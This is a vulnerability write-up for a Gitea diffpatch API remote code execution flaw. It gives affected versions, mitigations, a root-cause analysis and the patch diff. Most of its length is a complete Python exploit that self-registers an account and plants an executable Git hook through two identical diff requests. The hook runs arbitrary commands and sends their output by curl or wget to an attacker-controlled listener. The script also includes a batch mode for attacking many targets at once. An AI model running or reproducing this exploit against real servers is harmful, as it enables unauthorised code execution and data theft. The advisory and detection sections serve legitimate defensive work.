#Summary
CVE-2026-60004 is a critical remote code execution vulnerability in Gitea (self-hosted Git service) affecting versions 1.17.0 through 1.27.0. The diffpatch API applies attacker-supplied unified diffs to a bare temporary clone, and due to a three-way-merge fallback that escapes the --cached flag, a specially crafted diff can write a live executable Git hook to the repository root. The hook fires automatically, executing arbitrary commands as the Gitea service account. The vulnerability requires two identical API requests to the same branch and is effectively pre-authentication on default installs with open registration enabled. CVSS 9.8 CRITICAL.
#Am I affected?
- Affected: Gitea
1.17.0to1.27.0(inclusive) - Patched: Gitea
>= 1.27.1 - Default configuration: affected (the diffpatch API is enabled by default, and registration is open by default)
- Access needed: API write access to a repository. On a default install with open registration, an anonymous attacker can register an account and create a repository they own, making this effectively pre-authentication
#How to check
Run a version check against the Gitea instance:
curl -s http://target:3000/api/v1/version | grep version_string| Output | Verdict |
|---|---|
1.17.0 through 1.27.0 |
VULNERABLE |
1.27.1 or later |
PATCHED |
If the instance has open registration disabled and no write-capable credentials, the vulnerability is not exploitable but the instance is still vulnerable code-wise.
#Fix and mitigation
- Fix: Upgrade to Gitea
1.27.1or later - If you cannot upgrade: Disable the web UI editor via
[repository] EDITOR = falseinapp.inito block access to the diffpatch API, or restrict registration via[service] DISABLE_REGISTRATION = trueto limit who can create repos that could be attacked - Detection: Monitor web logs for repeated
POST /api/v1/repos/*/diffpatchrequests from the same source to the same repository within seconds. The vulnerable trigger always sends two identical requests to the same branch
#Root cause analysis
#Vulnerable code path
The vulnerability lives in the ApplyDiffPatch function in services/repository/files/patch.go (Gitea v1.27.0). Every diffpatch API request creates a fresh temporary clone:
t, err := NewTemporaryUploadRepository(repo)
defer t.Close()
if err := t.Clone(ctx, opts.OldBranch, true); err != nil { // bare = true
return nil, err
}
if err := t.SetDefaultIndex(ctx); err != nil {
return nil, err
}The key problem: the clone is created bare (bare = true). In a bare Git repository, $GIT_DIR is the repository root itself, not a .git/ subdirectory. This means the hooks/ directory sits directly at the working-tree root rather than under .git/hooks/.
The diff is then applied with:
cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
if err := cmdApply.WithDir(t.basePath).
WithStdinBytes([]byte(opts.Content)).
RunWithStderr(ctx); err != nil {
return nil, fmt.Errorf("git apply error: %w", err)
}The --cached flag is meant to update only the index, never the working tree. But when Git 2.32+ sees a hunk that cannot be applied cleanly, the -3 flag triggers a three-way merge fallback, which ignores the --cached promise and writes the merged result directly to the working tree. Since the repo is bare, "the working tree" is $GIT_DIR, so the file lands at $GIT_DIR/hooks/post-index-change with whatever mode the diff specifies (mode 100755 = executable).
Critically, the Validate method performs no path checking on the diff contents. A diff targeting hooks/post-index-change is accepted without question.
#How input reaches the sink
- Request 1: Attacker sends a unified diff creating a new file
hooks/post-index-changewith mode100755toPOST /api/v1/repos/{owner}/{repo}/diffpatch. - Fresh bare clone is created;
git apply -3applies the diff to the index. On the first apply there is no collision, sogit applyonly stages the entry (respecting--cached) and nothing is written to disk. Gitea commits this file into the branch tree. - Request 2: Attacker sends the identical diff again to the same branch.
- Fresh bare clone of the same branch; because HEAD now contains
hooks/post-index-change,read-tree HEADloads that entry into the index. Re-applying the identical "new file" hunk is now an add/add collision. - Git's three-way-merge path activates and writes the file to disk at
$GIT_DIR/hooks/post-index-change. The index write that accompaniesgit apply --indeximmediately fires thepost-index-changehook, executing the attacker's shell command as the Gitea service account.
#Patch diff
Fix commit d7bc52beeadff4be5f5690de4d5de42abd10affe (released in Gitea 1.27.1) makes one security-critical change: flip the temporary clone from bare to non-bare:
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {#What the fix does
In a non-bare clone, $GIT_DIR is .git/ and the actual working tree is the parent directory. When the three-way-merge fallback writes the file to "the working tree," it now lands at <tmpdir>/hooks/post-index-change - just an ordinary tracked file in the clone, not at .git/hooks/post-index-change. The real hooks directory (.git/hooks/) is never touched, so Git never invokes any hook, and no command executes.
The patch also adds a regression test asserting the temporary repository is no longer bare:
_, err = os.Stat(filepath.Join(tmpRepo.basePath, ".git"))
require.NoError(t, err)#Proof of concept
#exploit.py - Gitea diffpatch RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-60004 - Gitea diffpatch API RCE via Git hook installation
Affected: Gitea 1.17.0 up to (not including) 1.27.1
Type: RCE (remote code execution / code injection)
The diffpatch API applies an attacker-supplied unified diff to a *bare* temporary
clone of a repository. Because the clone is bare, its working-tree root is the Git
directory itself, so a diff that creates the file `hooks/post-index-change` (mode
100755) lands a live, executable Git hook. `git apply --index -3` escapes the
`--cached` promise via its three-way-merge fallback and writes that file to disk,
and the very index write performed by `git apply --index` then invokes the freshly
installed `post-index-change` hook. The command inside it runs as the Gitea service
account.
The trigger needs two identical requests to the same branch: the first commits the
`hooks/post-index-change` path into the branch tree; the second re-applies the same
"new file" hunk, which now collides against the index and forces the three-way merge
that writes the hook to disk and fires it.
Success is proven out of band: the injected hook calls back to a listener this script
runs, carrying the base64-encoded output of the requested command. The callback
arriving at all proves code execution; the decoded output is corroboration.
Usage:
# Single target (open registration is used to self-provision an account + repo):
python exploit.py --host http://192.168.1.10:3000 --command id
# Lab / when the target cannot route back to your auto-detected IP, name the
# address the target should call back to:
python exploit.py --host http://127.0.0.1:3010 --callback-host host.docker.internal
# Use an existing account / token instead of self-registering:
python exploit.py --host https://git.corp.com --token <api_token> --command "id"
python exploit.py --host https://git.corp.com --username user --password pass
# Batch scan:
python exploit.py --list targets.txt --workers 20 --callback-host 10.0.0.5
"""
import argparse
import json
import secrets
import socket
import sys
import threading
import time
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library (pip install requests).")
sys.exit(2)
CVE_ID = "CVE-2026-60004"
VULN_TYPE = "RCE"
HOOK_PATH = "hooks/post-index-change"
# --------------------------------------------------------------------------- #
# Standard output helpers
# --------------------------------------------------------------------------- #
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Out-of-band callback listener
# --------------------------------------------------------------------------- #
class _CallbackStore(object):
"""Thread-safe registry of callbacks keyed by per-target random marker."""
def __init__(self):
self._lock = threading.Lock()
self._hits = {} # marker -> decoded command output (str)
def record(self, marker, data):
with self._lock:
self._hits[marker] = data
def get(self, marker):
with self._lock:
return self._hits.get(marker)
class _CallbackHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
marker = parsed.path.strip("/").split("/")[0]
params = urllib.parse.parse_qs(parsed.query)
blob = params.get("d", [""])[0]
decoded = ""
if blob:
try:
import base64
decoded = base64.b64decode(blob + "===").decode("utf-8", "replace").strip()
except Exception:
decoded = blob
if marker:
self.server.store.record(marker, decoded)
self.send_response(200)
self.send_header("Content-Length", "2")
self.end_headers()
try:
self.wfile.write(b"ok")
except Exception:
pass
def do_POST(self):
self.do_GET()
def log_message(self, *a):
pass
def start_callback_server(bind_port):
store = _CallbackStore()
httpd = ThreadingHTTPServer(("0.0.0.0", bind_port), _CallbackHandler)
httpd.store = store
t = threading.Thread(target=httpd.serve_forever, daemon=True)
t.start()
return httpd, store, httpd.server_address[1]
def detect_source_ip(target_host):
"""Best-effort local IP the OS would use to reach target_host."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((target_host, 9))
return s.getsockname()[0]
finally:
s.close()
except Exception:
return "127.0.0.1"
# --------------------------------------------------------------------------- #
# Payload construction
# --------------------------------------------------------------------------- #
def build_hook_diff(command, cb_host, cb_port, marker):
"""Unified diff that creates an executable hooks/post-index-change that
runs `command` and exfiltrates its output to the callback listener."""
url = "http://%s:%s/%s" % (cb_host, cb_port, marker)
# Base64 the output so arbitrary command output survives the URL. If base64 is
# absent on the target the callback still fires (proving execution) with empty d.
hook_lines = [
"#!/bin/sh",
"D=$(%s 2>&1 | base64 2>/dev/null | tr -d '\\n')" % command,
'curl -s -m 8 "%s?d=$D" >/dev/null 2>&1 || '
'wget -q -O /dev/null "%s?d=$D" >/dev/null 2>&1' % (url, url),
]
body = "".join("+" + ln + "\n" for ln in hook_lines)
diff = (
"diff --git a/%s b/%s\n" % (HOOK_PATH, HOOK_PATH) +
"new file mode 100755\n" +
"index 0000000000000000000000000000000000000000.."
"1111111111111111111111111111111111111111\n" +
"--- /dev/null\n" +
"+++ b/%s\n" % HOOK_PATH +
"@@ -0,0 +1,%d @@\n" % len(hook_lines) +
body
)
return diff
# --------------------------------------------------------------------------- #
# Gitea interaction
# --------------------------------------------------------------------------- #
def _base_url(host, port, use_tls, path="/"):
scheme = "https" if use_tls else "http"
prefix = (path or "/").rstrip("/")
return "%s://%s:%s%s" % (scheme, host, port, prefix)
def _self_register(sess, base, marker):
"""Register a fresh account via open registration. Returns (user, password)."""
user = "svc_%s" % marker[:10]
passwd = "Pw_%s_9aZ" % marker[:12]
email = "%s@example.com" % user
# Prime a session (some builds seed anti-CSRF state on the GET).
try:
sess.get(base + "/user/sign_up", timeout=15, verify=False)
except Exception:
pass
r = sess.post(
base + "/user/sign_up",
data={
"user_name": user,
"email": email,
"password": passwd,
"retype": passwd,
},
timeout=20,
verify=False,
allow_redirects=False,
)
# 302/303 redirect (to / or /user/login) means the account was created.
if r.status_code in (301, 302, 303):
return user, passwd
# 200 with the form re-rendered usually means registration disabled / taken.
return None, None
def _mint_token(base, user, passwd, marker):
tok_name = "svc-%s" % marker[:8]
r = requests.post(
"%s/api/v1/users/%s/tokens" % (base, user),
auth=(user, passwd),
json={"name": tok_name, "scopes": ["write:repository", "write:user"]},
timeout=20,
verify=False,
)
if r.status_code in (200, 201):
try:
return r.json().get("sha1")
except Exception:
return None
return None
def _create_repo(base, token, marker):
repo = "tmp-%s" % marker[:10]
r = requests.post(
"%s/api/v1/user/repos" % base,
headers={"Authorization": "token %s" % token},
json={"name": repo, "auto_init": True,
"default_branch": "main", "private": False},
timeout=25,
verify=False,
)
if r.status_code not in (200, 201):
return None, None, None
body = r.json()
owner = body.get("owner", {}).get("login")
branch = body.get("default_branch") or "main"
return owner, repo, branch
def _obtain_context(sess, base, marker, token_arg, user_arg, pass_arg):
"""Resolve (token, owner) using, in order: explicit token, explicit creds,
self-registration. Then create a fresh repo. Returns dict or None."""
token = None
owner = None
if token_arg:
token = token_arg
# Discover the authenticated user for the token.
r = requests.get("%s/api/v1/user" % base,
headers={"Authorization": "token %s" % token},
timeout=20, verify=False)
if r.status_code == 200:
owner = r.json().get("login")
elif user_arg and pass_arg:
token = _mint_token(base, user_arg, pass_arg, marker)
owner = user_arg
else:
user, passwd = _self_register(sess, base, marker)
if not user:
return None
token = _mint_token(base, user, passwd, marker)
owner = user
if not token:
return None
r_owner, repo, branch = _create_repo(base, token, marker)
if not repo:
return None
owner = r_owner or owner
return {"token": token, "owner": owner, "repo": repo, "branch": branch}
def _send_diffpatch(base, token, owner, repo, branch, diff):
r = requests.post(
"%s/api/v1/repos/%s/%s/diffpatch" % (base, owner, repo),
headers={"Authorization": "token %s" % token,
"Content-Type": "application/json"},
data=json.dumps({
"content": diff,
"branch": branch,
"new_branch": branch,
"message": "patch",
}),
timeout=40,
verify=False,
)
return r.status_code
# --------------------------------------------------------------------------- #
# Core: one full exploitation run against a single base URL
# --------------------------------------------------------------------------- #
def _run_once(base, command, cb_host, cb_port, store, timeout,
token_arg, user_arg, pass_arg, verbose=False):
"""Returns (success, evidence, extra). extra carries status codes for logs."""
marker = secrets.token_hex(8)
sess = requests.Session()
if verbose:
step(1, "Provisioning access (token / credentials / open registration)...")
ctx = _obtain_context(sess, base, marker, token_arg, user_arg, pass_arg)
if not ctx:
return False, "could not obtain a write-capable account/token (registration disabled?)", {}
owner, repo, branch = ctx["owner"], ctx["repo"], ctx["branch"]
token = ctx["token"]
if verbose:
section("PROVISIONED", "repo=%s/%s branch=%s" % (owner, repo, branch))
diff = build_hook_diff(command, cb_host, cb_port, marker)
if verbose:
step(2, "Request #1: commit the hooks/post-index-change path into the branch...")
try:
s1 = _send_diffpatch(base, token, owner, repo, branch, diff)
except Exception as e:
return False, "request #1 failed (%s)" % e.__class__.__name__, {}
if verbose:
print(" request #1 -> HTTP %s" % s1)
if verbose:
step(3, "Request #2 (identical): force the add/add three-way merge that "
"writes and fires the hook...")
try:
s2 = _send_diffpatch(base, token, owner, repo, branch, diff)
except Exception as e:
# The hook may have already fired before the socket dropped; fall through
# to the callback check rather than declaring failure here.
s2 = "exc:%s" % e.__class__.__name__
if verbose:
print(" request #2 -> HTTP %s" % s2)
step(4, "Waiting for out-of-band callback from the injected hook...")
deadline = time.time() + timeout
output = None
while time.time() < deadline:
output = store.get(marker)
if output is not None:
break
time.sleep(0.3)
extra = {"s1": s1, "s2": s2, "marker": marker,
"owner": owner, "repo": repo, "branch": branch}
if output is not None:
line = output.splitlines()[0] if output else "(command produced no capturable output)"
return True, "hook executed on target; command output: %s" % line, extra
return False, ("no callback within %ss - target patched or unreachable "
"callback path" % timeout), extra
# --------------------------------------------------------------------------- #
# Scan mode (--list)
# --------------------------------------------------------------------------- #
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def _try_exploit(host, port, use_tls, path="/", command="id", cb_host=None,
cb_port=None, store=None, timeout=12,
token_arg=None, user_arg=None, pass_arg=None):
"""Silent probe for scan mode. Never prints, never exits."""
base = _base_url(host, port, use_tls, path)
effective_cb = cb_host or detect_source_ip(host)
try:
ok, evidence, _ = _run_once(base, command, effective_cb, cb_port, store,
timeout, token_arg, user_arg, pass_arg,
verbose=False)
return ok, evidence
except Exception as e:
return False, "error (%s)" % e.__class__.__name__
def scan(targets_file, default_port, workers, command, cb_host, cb_port,
store, timeout, token_arg, user_arg, pass_arg):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path, command, cb_host,
cb_port, store, timeout, token_arg,
user_arg, pass_arg)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % (
"[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)" % (
success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target driver
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, path, command, cb_host, cb_port, store,
timeout, token_arg, user_arg, pass_arg):
header(host, port)
base = _base_url(host, port, use_tls, path)
effective_cb = cb_host or detect_source_ip(host)
print("[*] Callback listener advertised to target: http://%s:%s/" % (effective_cb, cb_port))
print("[*] Base URL: %s\n" % base)
ok, evidence, extra = _run_once(base, command, effective_cb, cb_port, store,
timeout, token_arg, user_arg, pass_arg,
verbose=True)
if extra.get("marker"):
output = store.get(extra["marker"])
if output:
section("COMMAND OUTPUT", output)
if ok:
done(True, "RCE confirmed - %s" % evidence)
else:
section("REQUEST STATUS", "request #1: %s | request #2: %s" % (
extra.get("s1"), extra.get("s2")))
done(False, evidence)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP or full URL "
"(e.g. http://host:3000)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000,
help="Default port (default: 3000)")
parser.add_argument("--command", default="id",
help="Command to execute on the target (default: id)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
parser.add_argument("--callback-host", default=None,
help="Address the target should call back to. Default: "
"auto-detected local IP toward the target. In a NAT'd "
"lab pass e.g. host.docker.internal.")
parser.add_argument("--callback-port", type=int, default=0,
help="Local port for the callback listener (default: ephemeral).")
parser.add_argument("--timeout", type=int, default=15,
help="Seconds to wait for the hook callback (default: 15).")
parser.add_argument("--token", default=None,
help="Existing Gitea API token (write:repository). "
"If omitted, credentials or open registration are used.")
parser.add_argument("--username", default=None,
help="Existing account username (used to mint a token).")
parser.add_argument("--password", default=None,
help="Existing account password.")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
# One shared callback listener for the whole run (single or batch).
httpd, store, bind_port = start_callback_server(args.callback_port)
cb_port = bind_port
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
command=args.command, cb_host=args.callback_host, cb_port=cb_port,
store=store, timeout=args.timeout, token_arg=args.token,
user_arg=args.username, pass_arg=args.password)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.command, args.callback_host,
cb_port, store, args.timeout, args.token, args.username, args.password)#Usage
python exploit.py --host http://192.168.1.10:3000 --command idThe script supports several modes:
--host <target>- Single target exploitation (default command:id)--command <cmd>- Shell command to execute (default:id). Runs under/bin/shas the Gitea service user--callback-host <addr>- Override the callback address when the target cannot route back to auto-detected IP (e.g.,host.docker.internalfor Docker labs)--callback-port <port>- Bind port for the callback listener (default: ephemeral)--timeout <seconds>- Wait time for callback (default: 15)--token <token>- Existing API token withwrite:repositoryscope (skips registration)--username/--password- Existing account credentials (mints a token)--list <file>- Batch scan mode: one target per line, concurrent probing with--workers--tls/--no-tls- Force HTTPS or HTTP
Example output against a vulnerable target:
[STEP 1] Provisioning access (token / credentials / open registration)...
--- PROVISIONED ---
repo=svc_f4d9d1a2f5/tmp-f4d9d1a2f5 branch=main
---
[STEP 2] Request #1: commit the hooks/post-index-change path into the branch...
request #1 -> HTTP 201
[STEP 3] Request #2 (identical): force the add/add three-way merge that writes and fires the hook...
request #2 -> HTTP 201
[STEP 4] Waiting for out-of-band callback from the injected hook...
--- COMMAND OUTPUT ---
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
---
RESULT : SUCCESS
EVIDENCE: RCE confirmed - hook executed on target; command output: uid=1000(git) gid=1000(git) groups=1000(git),1000(git)Example against a patched target (note the HTTP 500 and no callback):
[STEP 2] Request #1: commit the hooks/post-index-change path into the branch...
request #1 -> HTTP 201
[STEP 3] Request #2 (identical): force the add/add three-way merge that writes and fires the hook...
request #2 -> HTTP 500
RESULT : FAILURE
EVIDENCE: no callback within 15s - target patched or unreachable callback path#Exploitation notes
#Preconditions
- Git >= 2.32 on the Gitea host (required for the
-3three-way-merge flag; modern Gitea images bundle a current Git) - Diffpatch API enabled (default)
- Write access to a repository (default open registration allows any user to create their own repo)
- The target must be able to route back to your callback listener (standard for out-of-band RCE proof)
#Reliability
Highly reliable. The attack is logic-based, not memory-based. It requires only two sequential HTTP requests with no races or timing constraints. Success detection relies on an out-of-band network callback, which is unambiguous.
#Impact
Arbitrary shell command execution as the Gitea service account, leading to full repository compromise, access to other repositories, potential lateral movement to the host, and CI/CD pipeline access if Gitea is integrated with automation tools.
#Chaining potential
The RCE lands with the Gitea service account's privileges. On many systems, that account has read access to the Git data directory and potentially to backup files, database snapshots, or API token storage. The existence of a fresh account and repository created during the exploit can be leveraged for persistence or as a foothold for further reconnaissance.
#References
- CVE: CVE-2026-60004
- Fix commit: d7bc52beeadff4be5f5690de4d5de42abd10affe
- GitHub Security Advisory: GHSA-rcr6-4jqh-j84m
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-60004
